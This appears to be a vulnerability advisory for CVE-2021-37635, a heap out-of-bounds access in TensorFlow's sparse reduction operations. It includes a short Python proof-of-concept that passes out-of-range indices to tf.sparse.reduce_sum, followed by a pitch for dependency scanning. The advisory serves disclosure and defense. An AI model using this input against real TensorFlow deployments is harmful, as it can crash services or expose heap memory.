CVE-2021-37635: Heap out of bounds access in sparse reduction operations

(updated )

The implementation of sparse reduction operations in TensorFlow can trigger accesses outside of bounds of heap allocated data:

import tensorflow as tf

x = tf.SparseTensor(
indices=[[773, 773, 773], [773, 773, 773]],
values=[1, 1],
dense_shape=[337, 337, 337])
tf.sparse.reduce_sum(x, 1)

References

Code Behaviors & Features

Detect and mitigate CVE-2021-37635 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →